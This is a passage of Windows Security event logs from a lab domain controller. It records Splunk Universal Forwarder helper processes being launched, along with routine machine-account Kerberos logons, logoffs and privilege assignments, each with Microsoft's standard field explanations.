Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:19:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257248
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10bc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:19:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257249
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:19:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257250
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x124c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:19:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257252
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:19:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257251
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x828
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:19:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257253
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa98
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:19:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257256
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4D3D76

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:19:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257255
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4D3D76
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59539

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:19:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257254
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4D3D76

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:20:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257257
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1048
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:20:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257258
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x694
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:20:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257259
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3a0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:20:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257260
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:20:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257262
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:20:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257261
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe44
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:20:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257263
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd88
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:20:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257266
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4D73A0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:20:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257265
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4D73A0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59552

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:20:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257264
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4D73A0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:21:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257267
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:21:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257268
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe80
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:21:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257269
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
